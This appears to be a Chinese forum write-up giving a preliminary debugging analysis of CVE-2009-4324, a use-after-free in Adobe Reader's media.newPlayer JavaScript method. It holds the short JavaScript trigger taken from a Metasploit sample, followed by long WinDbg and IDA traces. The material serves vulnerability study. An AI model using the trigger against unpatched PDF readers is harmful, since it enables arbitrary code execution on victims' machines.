文章名称:CVE-2009-4324初步分析
目录:
0x1.漏洞描述
0x2.测试环境
0x3.初步分析
0x3.1.POC样本获取
0x3.2.跟踪调试
0x4.总结
正文:
1.漏洞描述
CVE ID: CVE-2009-4324
Adobe Acrobat和Reader都是非常流行的PDF文件阅读器。
Adobe Reader和Acrobat阅读器支持JavaScript。Doc.media对象的newplayer()方式存在释放后使用漏洞,
可能触发可利用的内存访问破坏。
远程攻击者可以通过使用ZLib压缩流的特制PDF文件来利用这个漏洞,导致执行任意代码。
2.测试环境
系统环境:windws XP SP3_CN
软件环境:Adobe Reader 8.12_CN
工具 :Windbg IDA (本来想用OD,可惜不熟悉)
3.初步分析
3.1.样本获取
从http://downloads.securityfocus.com/vulnerabilities/exploits/adobe_media_newplayer.rb
下载到一个RB文件,导入到Metasploit中,提示有CVE-2009-4324项目
经过一番折腾后,最后得到测试POC样本。
提取出触发漏洞的Javascript 代码,确定关键代码如下:
代码:
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date()); util.printd("1.345678901.345678901.3456 : 1.31.34", new Date()); try {this.media.newPlayer(null);} catch(e) {} util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
漏洞起因是Acrobat JS引擎在实现doc.media.newPlayer函数的null参数异常时,
使用到的某指针指向的内存未初始化,准确地说那是一片之前已释放的堆块。
这是网上资料,接下来在调试器中进行跟踪调试
代码:
23827ef8 6a00 push 0 23827efa 6a00 push 0 23827efc 68ecd78f23 push offset EScript!PlugInMain+0xfc43c (238fd7ec) 23827f01 57 push edi 23827f02 ffd0 call eax {Multimedia!PlugInMain+0x40b05 (2d841e82)} 函数 23827f02 call eax {Multimedia!PlugInMain+0x40b05 (2d841e82)} 经过27次调用后,执行函数SUB_2D841E82的代码,即漏洞利用函数 此时寄存器状态为: 0:000> r eax=2d841e82 ebx=23827e5d ecx=032e5ce0 edx=0012fb60 esi=032e5ce0 edi=032e5ce0 eip=23827f02 esp=0012fb40 ebp=0012fbb4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 EScript!PlugInMain+0x26b52: 23827f02 ffd0 call eax {Multimedia!PlugInMain+0x40b05 (2d841e82)} 可以发现 ecx=esi=edi=032e5ce0 ebx为一个数字 SUB_2D841E82: 2d841e82 56 push esi 2d841e83 8b742408 mov esi,dword ptr [esp+8] 2d841e87 85f6 test esi,esi 2d841e89 7422 je Multimedia!PlugInMain+0x40b30 (2d841ead) //相等则跳,这里没有跳转 2d841e8b 56 push esi 2d841e8c e872fcffff call Multimedia!PlugInMain+0x40786 (2d841b03) //执行这个函数 下面进入这个函数,看下它是如何执行的 2d841e91 85c0 test eax,eax 2d841e93 59 pop ecx 2d841e94 7417 je Multimedia!PlugInMain+0x40b30 (2d841ead) 2d841e96 8b10 mov edx,dword ptr [eax] 2d841e98 8bc8 mov ecx,eax 2d841e9a ff5204 call dword ptr [edx+4] //伪造的数据在此处利用 2d841e9d 6a00 push 0 2d841e9f 6870558c2d push offset Multimedia!PlugInMain+0xc41f3 (2d8c5570) 2d841ea4 56 push esi 2d841ea5 e8ead3fdff call Multimedia!PlugInMain+0x1df17 (2d81f294) 2d841eaa 83c40c add esp,0Ch 2d841ead 66b80100 mov ax,offset <Unloaded_I.DLL> (00000001) 2d841eb1 5e pop esi 2d841eb2 c3 ret .text:2D841B03 sub_2D841B03 proc near ; CODE XREF: sub_2D841E82+Ap .text:2D841B03 ; sub_2D8432A1+7B0p ... .text:2D841B03 .text:2D841B03 arg_0 = dword ptr 4 .text:2D841B03 .text:2D841B03 push offset aMediaplayer_th ; "MediaPlayer_This" push offset aMediaplayer_th .text:2D841B08 push [esp+4+arg_0] ; 取得MediaPlayer_This的偏移并压入堆栈 .text:2D841B0C call sub_2D81F039 //在此处调用2D81F039这个函数 .text:2D841B11 pop ecx .text:2D841B12 pop ecx .text:2D841B13 retn .text:2D841B13 sub_2D841B03 endp sub_2D81F039: .text:2D81F039 sub_2D81F039 proc near ; CODE XREF: _malloc+Ap .text:2D81F039 ; _malloc_0+Ap ... .text:2D81F039 .text:2D81F039 var_44 = byte ptr -44h .text:2D81F039 var_4 = dword ptr -4 .text:2D81F039 arg_0 = dword ptr 8 .text:2D81F039 arg_4 = dword ptr 0Ch .text:2D81F039 .text:2D81F039 push ebp .text:2D81F03A mov ebp, esp .text:2D81F03C sub esp, 44h .text:2D81F03F lea eax, [ebp+var_44] .text:2D81F042 push offset sub_2D809C95 .text:2D81F047 push eax .text:2D81F048 mov eax, dword_2D90EF58 .text:2D81F04D call dword ptr [eax+8] ; 进入 AcroRd32_950000!ACPushExceptionFrame 函数处理流程 .text:2D81F050 lea eax, [ebp+var_44] .text:2D81F053 push 0 .text:2D81F055 push eax .text:2D81F056 call _setjmp3 ; 调用MSVCR80!__setjmp3进行处理 setjmp3返回值为0 .text:2D81F05B add esp, 10h .text:2D81F05E test eax, eax .text:2D81F060 jnz short loc_2D81F082 .text:2D81F062 push [ebp+arg_4] .text:2D81F065 mov eax, dword_2D90F9DC //把2D90F9DC地址的值赋值给eax .text:2D81F06A push [ebp+arg_0] .text:2D81F06D call dword ptr [eax+23Ch] // 返回值[eax]中出现提交的数据,[eax]为输入的数据 unicode的形式, .text:2D81F073 pop ecx .text:2D81F074 mov [ebp+var_4], eax //把参数赋值到[ebp+4] .text:2D81F077 mov eax, dword_2D90EF58 .text:2D81F07C pop ecx .text:2D81F07D call dword ptr [eax+0Ch] //ACPopExceptionFrame函数处理流程】 .text:2D81F080 jmp short loc_2D81F099 .text:2D81F082 ; --------------------------------------------------------------------------- .text:2D81F098 pop ecx .text:2D81F099 .text:2D81F099 loc_2D81F099: ; CODE XREF: sub_2D81F039+47j .text:2D81F099 mov eax, [ebp+var_4] //把之前保存的地址赋值回EAX .text:2D81F09C leave .text:2D81F09D retn
C语言在windows和unix中是相通的。
setjmp和longjmp函数
在C中,不允许使用跳越函数的goto语句。而执行这种跳转功能的是函数setjmp和longjmp。
这两个函数对于处理发生在很深的嵌套函数调用中的出错情况非常有用。
非局部跳转 setjmp和longjmp函数。非局部表示这不是在
一个函数内的普通的C语言goto语句,而是在栈上跳过若干调用帧,返回到当前函数调用路径
上的一个函数中。
代码:
call dword ptr [eax+23Ch]: 382dd5c 56 push esi 2382dd5d 8b742408 mov esi,dword ptr [esp+8] 2382dd61 57 push edi 2382dd62 33ff xor edi,edi 2382dd64 eb20 jmp EScript!PlugInMain+0x2c9d6 (2382dd86) 2382dd66 ff742410 push dword ptr [esp+10h] 2382dd6a ff7610 push dword ptr [esi+10h] 2382dd5c 56 push esi 2382dd5d 8b742408 mov esi,dword ptr [esp+8] 2382dd61 57 push edi 2382dd62 33ff xor edi,edi 2382dd64 eb20 jmp EScript!PlugInMain+0x2c9d6 (2382dd86) 2382dd66 ff742410 push dword ptr [esp+10h] 2382dd6a ff7610 push dword ptr [esi+10h] 2382dd6d e82fb1ffff call EScript!PlugInMain+0x27af1 (23828ea1) //在这个函数中进行处理 2382dd72 8bf8 mov edi,eax 2382dd74 85ff test edi,edi 2382dd76 59 pop ecx 2382dd77 59 pop ecx 2382dd78 7510 jne EScript!PlugInMain+0x2c9da (2382dd8a) 2382dd7a 6a01 push 1 2382dd7c 56 push esi 2382dd7d e87e21feff call EScript!PlugInMain+0xeb50 (2380ff00) 2382dd82 59 pop ecx 2382dd83 59 pop ecx 2382dd84 8bf0 mov esi,eax 2382dd86 85f6 test esi,esi 2382dd88 75dc jne EScript!PlugInMain+0x2c9b6 (2382dd66) 2382dd8a 8bc7 mov eax,edi 2382dd8c 5f pop edi 2382dd8d 5e pop esi 2382dd8e c3 ret 2382dd6d call 23828ea1: 23828ea1 33c0 xor eax,eax 23828ea3 39442404 cmp dword ptr [esp+4],eax 23828ea7 7405 je EScript!PlugInMain+0x27afe (23828eae) //相等则跳 23828ea9 e92783feff jmp EScript!PlugInMain+0xfe25 (238111d5) 238111d5 55 push ebp 238111d6 8bec mov ebp,esp 238111d8 56 push esi 238111d9 ff750c push dword ptr [ebp+0Ch] 238111dc e8dd4bffff call EScript!PlugInMain+0x4a0e (23805dbe) 238111e1 8b4d0c mov ecx,dword ptr [ebp+0Ch] 238111e4 50 push eax //eax=0x10 函数23805dbe的返回值 238111e5 ba0ff00000 mov edx,offset <Unloaded_I.DLL>+0xf00e (0000f00f) 238111ea e803610400 call EScript!PlugInMain+0x55f42 (238572f2) 238111ef 8b4d08 mov ecx,dword ptr [ebp+8] 238111f2 8d5508 lea edx,[ebp+8] 238111f5 52 push edx 238111f6 ff750c push dword ptr [ebp+0Ch] 238111f9 83e00f and eax,0Fh 238111fc ff748140 push dword ptr [ecx+eax*4+40h] 23811200 8d3481 lea esi,[ecx+eax*4] 23811203 ff36 push dword ptr [esi] 23811205 e874600400 call EScript!PlugInMain+0x55ece (2385727e) //在此函数中,EAX被清零,即EAX=0 2381120a 83c418 add esp,18h 2381120d 66837d0800 cmp word ptr [ebp+8],0 23811212 7408 je EScript!PlugInMain+0xfe6c (2381121c) 23811214 8b0e mov ecx,dword ptr [esi] 23811216 8b44c104 mov eax,dword ptr [ecx+eax*8+4] ds:0023:0400374c=033e3ab8 //出现提交的数据 2381121a eb02 jmp EScript!PlugInMain+0xfe6e (2381121e) 2381121c 33c0 xor eax,eax 2381121e 5e pop esi 2381121f 5d pop ebp 23811220 c3 ret 23811216 时,寄存器状态 eax=00000000 ebx=23827e5d ecx=04003748 edx=2d8c5580 esi=03ffd998 edi=00000000 eip=23811216 esp=0012fab4 ebp=0012fab8 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202 EScript!PlugInMain+0xfe66: 23811216 8b44c104 mov eax,dword ptr [ecx+eax*8+4] ds:0023:0400374c=033e3ab8 0:000> ? ecx+eax*8+4 Evaluate expression: 67123020 = 0400374c 0:000> d ecx+eax*8+4 0400374c b8 3a 3e 03 c0 14 2e 03-38 3b 84 2d 00 00 00 00 .:>.....8;.-.... 0400375c 00 00 00 00 00 00 00 00-18 00 18 00 c0 8c 3f 00 ..............?. 0400376c 00 00 00 00 76 69 73 69-62 6c 65 00 68 3a 00 04 ....visible.h:.. 0400377c 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0400378c 18 00 18 00 c0 8c 3f 00-00 00 00 00 6f 75 74 65 ......?.....oute 0400379c 72 52 65 63 74 00 00 00-01 00 00 00 00 00 00 00 rRect........... 040037ac 00 00 00 00 00 00 00 00-18 00 18 00 c0 8c 3f 00 ..............?. 040037bc 00 00 00 00 e8 37 00 04-2f 40 84 2d 00 00 00 00 .....7../@.-.... 0:000> d 033e3ab8 033e3ab8 31 00 2e 00 33 00 34 00-35 00 36 00 37 00 38 00 1...3.4.5.6.7.8. 033e3ac8 39 00 30 00 31 00 2e 00-33 00 34 00 35 00 36 00 9.0.1...3.4.5.6. 033e3ad8 37 00 38 00 39 00 30 00-31 00 2e 00 33 00 34 00 7.8.9.0.1...3.4. 033e3ae8 35 00 36 00 20 00 3a 00-20 00 31 00 2e 00 33 00 5.6. .:. .1...3. 033e3af8 31 00 2e 00 33 00 34 00-00 00 00 00 00 00 00 00 1...3.4......... 033e3b08 0b 00 0b 00 ea 01 08 04-e8 3c 3f 03 b8 3a 3e 03 .........<?..:>. 033e3b18 b8 3a 3e 03 00 00 00 00-a0 00 00 00 00 00 00 00 .:>............. 033e3b28 00 00 00 00 00 00 00 00-50 c8 2d 03 00 00 00 00 ........P.-.....
到此,CVE-2009-4324的初步分析就到这里,可以看出程序在23811216处引用了已经被释放的内存,
造成漏洞可以很容易的被利用,
其中还有很多需要理解的地方
1.SetJmp函数是何作用
2.ACPushExceptionFrame 的执行流程如何
3.对此漏洞的形成原因还有待进一步理解
CVE-2009-4324初步分析.pdf
poc.rar [解压密码:pediy]
info.rar